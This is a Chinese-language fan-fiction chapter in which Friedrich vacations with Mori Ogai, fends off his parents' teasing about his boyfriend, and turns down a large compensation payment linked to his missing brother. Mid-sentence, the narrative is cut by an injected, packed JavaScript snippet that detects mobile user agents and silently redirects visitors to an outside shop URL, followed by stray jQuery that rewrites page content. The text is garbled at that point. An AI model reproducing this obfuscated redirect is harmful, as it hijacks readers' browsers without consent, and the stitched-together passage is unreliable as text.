他们在山上住了两天,刚刚好用完了一个周末。
弗里德里希将这个宅子探索了个遍,发现这种古典日式建筑真的很漂亮,他很喜欢走廊上挂着的一连串的银色铃铛,一有风就会叮叮当当的响,声音很好听。
除此之外,走廊因为是建在室外的,一侧会有红木围栏,围栏上也会挂一些小饰品,弗里德里希绕着环形走廊走了一圈,发现了许多动物塑的小木牌,有的是小猫,有的是鱼形,听森鸥外说,这个是一种传统装饰,叫做悬鱼,在家里挂这个是为了避免火灾,一般是挂在破风板上,他发现挂在这里会更好看,就换了地方。
弗里德里希捏着小小的木牌,说:“这个小东西,还有这样的作用吗?”
森鸥外笑了笑,含蓄地表示:“信则有,不信则无。”
“原来是这样。”是迷信啊,不过看起来还挺可爱的。
快要离开这座宅子的那个下午,森鸥外还送了弗里德里希一个礼物,是一把造型古典的伞,散发着淡淡的桐油香,他说:“这是油纸伞。”
弗里德里希惊喜地接过撑开的油纸伞,发现它特别轻盈,拿在手里没有什么重量。伞把是光滑的,底部钻了个孔,用红绳打了个结,牵着黄色的流苏,真的很漂亮。
“其实我还想过要不要送日式和伞,但那太稳重了,而且比较重,打着会有点累。”森鸥外说,“现在看来,果然还是油纸伞更适合你。”
弗里德里希打着油纸伞转了几圈,他披着一件白色和蓝色交织的宽大羽织,脚底下踩着木屐,明明是外国人的长相,穿这种服饰、打着这种伞也不显得违和,反倒十分契合那种精致优雅的气质。
他注意到森鸥外不知什么时候取来了相机,就站在原地不动了,把油纸伞斜斜地放在臂弯里,露出一个自认为挑不出错的微笑。但森鸥外举着相机半天,也不按快门,似乎在找角度,不知过了几分钟,弗里德里希觉得有点痒,忍不住用手撩了一下擦过脸颊的头发,表情也变得没那么庄重了,而森鸥外就在这时按了快门。
他踩着木屐跑过去看,但因为不习惯木屐,跑了两步木屐就掉了下来,反正地板也不脏,他就光着脚跑了过来,凑过去看拍好的照片。
这是他们在一起后第一次拍照,弗里德里希还想拍一张合照,森鸥外答应了。
对方也穿着风格类似的衣服,上身是和服领的长衬衣,底色是白色。因为天气比较热,他没有再穿一件“着物”,那通常是和服的本体,没有了它,纯色的衬衣单穿起来会显得比较单调,但因为下半身的袴也是纯黑的,黑白搭配起来反而显得整齐简约。
森鸥外摆好了相机,然后跟弗里德里希一起坐到一把长凳上,他们挨在一起,身后是走廊的末尾,尽头种着芭蕉,就是雨打芭蕉叶中的芭蕉,油绿色的宽大芭蕉叶层层交叠着,很有意趣。
————
不知不觉间又过了一个月,如今已经是十月中旬。
十月已经入秋了,象征夏日的花火大会也已经销声匿迹,气温也转凉了,雨水变少,整体显得干爽。
算算时间,弗里德里希已经在日本待了快两个月,这期间他接到了好几个妈妈的电话,对方一开始问他玩得开不开心,还问他钱够不够花,随着时间拖长到两个月,就变成了:
“还不回来?确定吗?”
为了不回德国,他想尽办法搪塞,好在妈妈也没逼他回来,只是突然在某一天说:“其实你可以把你的男朋友一起带回来。”
弗里德里希:?
他记得他好像没跟爸妈说过谈恋爱的事。
“妈妈,你让我一点秘密都没有了。”弗里德里希说。
“这怎么能怪我?”妈妈嗔怪地说,“是你自己太藏不住事了——恋爱中的人哪,连吃顿饭都要黏糊在一起,还发到动态里,而且你忘了一件很重要的事,你忘记屏蔽你爸爸了。”
弗里德里希打开社交软件一看,翻到一个多月前的动态,这才想起来那天的事,他和森鸥外一起去餐厅吃饭,遇见了一对未婚夫妻,他还帮忙弹了段钢琴,回来后因为帮到了别人还收获了夸奖而高兴,就发了动态,他屏蔽了妈妈,却忘了屏蔽爸爸!
弗里德里希:“……”
还有比这个更愚蠢的乌龙吗?
“别懊恼了。”妈妈似乎猜到了他的反应,“放心吧,我不会对你亲爱的小男友做什么的。”
弗里德里希被妈妈促狭的话语弄得久违的有点窘迫——小男友?这是什么奇怪的说法?哪里小了?
他觉得妈妈真该戒掉那些该死的肥皂剧了。前几次通电话时他就从妈妈口中得知,最近德国很流行那种肥皂剧,他信了妈妈的安利,也看了一部,但只看了一集,就被雷出来了——他们真的很爱用那种肉麻且亲近得过头的称呼,剧情也没头没脑,毫无逻辑。
最重要的是,那些肥皂剧里男主的妈妈最爱用他妈妈现在这种语气调侃儿子,太可恶了,把原本很正经的妈妈给带坏了。
……不过他好像确实应该跟爸爸妈妈介绍一下他的男朋友了。
“……”他半天没说话,犹豫着要怎么介绍。
落在妈妈耳朵里,就是儿子兀自沉默了一阵,就在她自讨没趣要挂断电话的那一刻,儿子忽然别别扭扭地开口:“……他叫森鸥外。”
“……”她叫了起来,对身边的人说,“我就知道是他!亲爱的,你听到没有?我们的小宝贝在二十六岁时开启了他人生中的第一段恋爱!”
“……”弗里德里希被妈妈的话弄得起了一身鸡皮疙瘩。妈妈以前才不会这么肉麻,一定是因为那些肥皂剧。
该死的肥皂剧!你最好祈祷我哪天有权有势了不会取缔你们。弗里德里希心里暗骂两句,然后说:“爸爸怎么也在?”
电话那头很快传来了另一道沉稳的男声:“我为什么不在?现在是周末,我在休假。”
弗里德里希说:“……哦。”
他担心妈妈继续说那种从肥皂剧学来的奇怪的话,赶紧找个借口把电话挂了。
……
过了几天,弗里德里希因为要用现金去银行取钱时发现银行卡余额出了问题,为什么凭空多出了五十万?
“……五十万马克??”弗里德里希还以为自己看错了,揉了揉眼睛,没看错,还真是整整五十万,这可不是一笔小钱,都够在柏林市中心买一套漂亮的独栋双层房子了。
他查了一下款项的来源,发现自己的账户在八天前收到过一笔转账,来自是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620955|206062||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
柏林财政支付中心,刚好五十万马克。
他第一反应是问爸爸,爸爸是这么回答的:“我听说政府给空袭受害者发了抚慰金,不过应该没有这么多,你问问是不是打多了?”
弗里德里希给政府打了跨国电话,并说明了情况,对方确认过后,电话那头传来沙沙的声音,紧接着就换了个人,一道莫名熟悉的男声说:“好久不见,弗里德里希,也许你还认得我?”
弗里德里希一听就认出来了:“……浮士德先生?”
对方顿了一下,语气还挺轻松的,听起来心情不错:“嗯,是我。你好奇那笔钱为什么这么多,是吗?它看起来不是单纯的抚慰金。”
对方话语的节奏太快,弗里德里希来不及询问转接电话的为什么是对面,就被带着走了,犹豫着说:“……是的。”
“我刚刚查了一下,那还包括了你哥哥的抚恤金。他失踪在十几年前的一场战役,那时法律对士兵的保护并不严格,因此他的家人一直没有得到相应的补偿,但最近我们完善了士兵权益保护法,失踪超三年的士兵会被视为死亡,然后他的家人会得到抚恤金——同时,你们需要去主动注销他的户籍。”
“同时,一些因此拖延许久才拿到抚恤金的,也会额外得到利息——按最高利率算。”对方说。
“为什么打到了我卡里,而不是我爸爸妈妈的?”
对方似乎笑了一声:“这张卡写的是歌德先生的名字。”
弗里德里希:“…………”他忘了这是他从没到办卡年龄时就开始用的爸爸的记名卡了。
他有点尴尬:“抱歉,我记错了。”
对方说:“没关系。”
“……”
“还有疑问吗?”对方问。那种轻快的语气让弗里德里希有种错觉,仿佛很期待他继续问下去一样。
“……有的。”弗里德里希说,“……如果我拿了这笔钱,那哥哥在法律上就被视作死亡了吗?”
“是的。”
“但是,你……”弗里德里希以前好不容易压下的疑惑此时又冒了出来,他不知道怎么去质问这个疑似他哥哥的人,对方已经不是歌德了,而是以浮士德自居。
弗里德里希都有点怀疑自己记忆的真实性了,那些有关哥哥的记忆,或许也有大脑的美好幻想和修饰,而现实是,哥哥可能没有记忆里那么喜欢他。
“……”弗里德里希说,“我能拒绝这笔抚恤金吗?”
“你想捐赠掉它吗?可以。”对方似乎误解了他的意思。
“不,我只是不想抹消哥哥的社会身份。”弗里德里希说,“他毕竟只是失踪,也没人能证明他真的死了,没准儿哪天又会回来呢?德国的户籍注销是永久的,如果他真回来了,那事情就没有挽回的余地了。”
“……”对方似乎没有从这个角度思考过,不由得陷入了静默。
“我不会注销他的户籍的。如果爸爸妈妈知道了,也不会为了这笔钱而承认哥哥死了——他只是失踪了,没人能证明他真的死了。”弗里德里希顿了顿,又问,“我可以原路退回这笔钱吗?”
“……”对方沉默了一会儿才说,“可以。”
“好的。”弗里德里希说,“祝您顺利。再见。”